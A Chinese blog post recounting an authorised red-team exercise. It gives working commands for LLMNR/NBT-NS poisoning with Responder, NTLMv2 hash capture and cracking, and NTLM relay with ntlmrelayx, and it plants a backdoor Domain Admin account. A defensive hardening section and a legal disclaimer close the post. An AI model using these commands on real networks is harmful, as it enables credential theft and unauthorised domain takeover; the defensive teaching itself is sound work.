我只插了一根网线,十分钟后拿到了域控
[00] 机房空调很冷,心很热
凌晨两点,我被允许进入目标大楼。是的——合法授权。一支红队对抗演练,我是攻击方。
上个阶段我费了半天劲,用一封精心构造的钓鱼邮件拿到了一个内网据点。但那只是个普通域用户,连桌面都能上的那种——属于"有比没有好,但基本没什么用"的级别。
现在我就站在目标机房里。掏出一台笔记本,一根USB转RJ45网线,往空闲端口一插。
"让我看看你们的内网到底长什么样。"
[01] 侦察:Windows网络的那扇后门
我的笔记本是Kali。接入内网后,第一件事永远是信息收集。
┌─[root@kali]─[~/op]
└──╼ # 接入内网
dhclient eth0
ip a show eth0
# inet 10.0.1.128/24
拿到了DHCP分配的IP。我用了两分钟快速扫描子网,确定:三台域控、一台文件服务器、约四十台工作站。
然后我盯着了一个几乎所有Windows网络都存在的问题——名称解析协议。
LLMNR(Link-Local Multicast Name Resolution,UDP 5355)和NBT-NS(NetBIOS Name Service,UDP 137)是Windows用来在DNS失败时解析主机名的备用协议。它们的工作原理极其简单:A想找B,就对着整个子网喊一嗓子——"谁是B?"
问题的关键是:任何设备都可以回答这个广播。包括我的Kali。
更致命的是,这两个协议在绝大多数企业域环境中默认开启。微软从Windows Vista开始就在系统里内置了LLMNR,历经Win 7、8、10、11,一直到今天,默认设置没变过。
不是我找到了后门。是后门自己开着等我。
[02] 下钩:Responder上场
我打开了一个工具:Responder。它是内网渗透界的瑞士军刀,专门做两件事:监听网络中的名称解析请求,然后冒充被请求的主机进行投毒攻击。
┌─[root@kali]─[~/op]
└──╼ # 启动Responder
responder -I eth0 -wrf
# -I eth0 监听的网卡
# -w 启动WPAD代理服务器
# -r 应答NetBIOS请求
# -f 回答所有请求
它同时监听着十几种协议——SMB、HTTP、SQL、FTP、IMAP、LDAP……任何一个协议上有机器发出名称解析请求,Responder就立刻伪造应答,把自己的IP作为目标返回。
这就是"投毒"的核心:我在告诉全网的Windows机器——"你们要找的那个服务器,就是我。"
[03] 咬钩:NTLM hash到手
等了大约三分钟。第一只鱼来了。
┌─[Responder Log]
[SMB] NTLMv2-SSP Client : 10.0.1.56
[SMB] NTLMv2-SSP Username : CORP\zhangwei
[SMB] NTLMv2-SSP Hash : zhangwei::CORP:1122334455667788:ABCDEF1234567890...
这台机器上的用户zhangwei,试图访问一个不存在的网络共享。DNS解析失败 → LLMNR接管 → Responder抢答 → NTLMv2 hash到手。
这不是漏洞。这是Windows的正确行为。LLMNR的设计哲学就是谁先回答谁有效,没有验证机制。不是实现有bug,是协议规范本身就是这么设计的。
六分钟内,我收到了四个不同用户的hash。其中一行让我瞳孔收缩:
[SMB] NTLMv2-SSP Username : CORP\itadmin
# IT管理员。就是这个。
[04] 裂解:hashcat vs NTLM Relay
拿到hash之后,两个选择:
┌─[root@kali]─[~/op]
└──╼ # Plan A: 离线破解
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -O
# -m 5600 = NTLMv2 hash模式
# 跑了三分钟,没跑出来。密码有强度。
没关系。我还有Plan B:NTLM Relay接力攻击。
NTLM Relay的原理是这样:当机器A试图认证到我时,我不破解密码。反而把整个认证请求直接转发给机器B——一台我本来无权访问的服务器。如果机器B信任机器A的身份(同一个域,它确实会信任),我就用A的身份在B上执行操作了。
但有一个前提:目标机器必须关闭了SMB签名。如果SMB签名开启,转发的认证请求会被拦截。
我先确认一下内网SMB签名状态:
┌─[root@kali]─[~/op]
└──╼ # 扫描SMB签名状态
nmap -p 445 --script=smb2-security-mode 10.0.1.0/24
10.0.1.10 DC01 - enabled and required ✓
10.0.1.11 DC02 - enabled and required ✓
10.0.1.45 FS01 - enabled but NOT required ✗
# 域控有签名,文件服务器没有。
关键发现:DC01和DC02强制SMB签名,但FS01只支持却不强制。这就是接力目标。
[05] 登顶:接力到域控
攻击计划:关闭Responder的SMB服务器,让ntlmrelayx接管转发。每个收到的SMB认证请求,直接接力到FS01。
┌─[root@kali]─[~/op]
└──╼ # 关闭Responder的SMB,启动Relay
sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
responder -I eth0 -wrf
ntlmrelayx.py -tf targets.txt -smb2support
同时WPAD代理也在运行——内网浏览器"自动发现代理"时,会向我的机器发送HTTP认证请求,NTLM凭据就被ntlmrelayx接力转发。
等待没有持续太久。itadmin的机器发出了WPAD请求。凭据被接力到FS01:
[+] Authenticating against smb://10.0.1.45 as CORP\itadmin SUCCEED
[*] Dumping domain user credentials via SAMR...
# itadmin属于Domain Admins组。
以为只是普通IT管理员。结果itadmin本身就是Domain Admin。
我随即创建了一个持久化的后门账户:
┌─[root@kali]─[~/op]
└──╼ # 用域管身份创建新域管
ntlmrelayx.py -tf targets.txt -c "net group 'domain admins' mybackup /add /domain" -smb2support
▸ 从插上网线到拥有域管权限:9分28秒。
[06] 为什么这招一直有效
LLMNR和NBT-NS之所以是内网渗透的经典起点,有四个原因:
| # | 原因 | 说明 |
|---|---|---|
| 1 | 默认开启 | 99%的域环境从未关过LLMNR/NBT-NS |
| 2 | 无验证 | 协议设计"先到先得",无身份验证 |
| 3 | NTLM可接力 | NTLM不绑定目标服务,可被转发 |
| 4 | SMB签名非强制 | 除域控外,多数服务器仅"支持"签名 |
四个条件叠加,形成了一个近乎完美的攻击面。不是零日,胜似零日。
[07] 如果你是蓝队
这篇日记的反面是防御。如果你是负责安全的IT管理员,以下五条防御让你今晚就能睡得好一点:
1. 关闭LLMNR和NBT-NS。
组策略 → 计算机配置 → 管理模板 → 网络 → DNS客户端 → 关闭多播名称解析 = 已启用
网络连接 → TCP/IP → 高级 → WINS → 禁用NetBIOS over TCP/IP
2. 强制SMB签名。
组策略 → Windows设置 → 安全设置 → 本地策略 → 安全选项
Microsoft网络客户端:数字签名通信(始终)= 已启用
Microsoft网络服务器:数字签名通信(始终)= 已启用
3. 启用EPA(扩展保护认证)。
将NTLM认证绑定到特定TLS通道,阻断Relay攻击。
4. 网络分段。
不要把普通用户和服务器放在同一个广播域里。LLMNR只在同一个子网内有效。
5. 部署LDAP签名。
启用LDAPS和LDAP通道绑定,防止LDAP Relay方向攻击。
这五条里,第1条和第2条每条改一个组策略配置即可。五分钟。保护整个域不被Responder一把梭。
⚡ [ WARNING ] 法律声明
本文所有技术内容仅供安全研究与授权测试参考。
未授权渗透测试属于违法行为。
以上。
工具无罪。但握工具的手,必须知道边界在哪。
$ read -p "你们内网关了LLMNR吗?" input
点赞 · 在看 · 转发
DISCLAIMER
本文所有技术内容仅供安全研究与授权测试参考。
未授权渗透测试属于违法行为。
文章标题:我只插了一根网线,十分钟后拿到了域控
文章链接:https://jiacy.cn/wzclygwx-sfzhndlyk.html
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自CY !
如果觉得文章对您有用,请随意打赏。
您的支持是我们继续创作的动力!
微信扫一扫
支付宝扫一扫
全部评论
3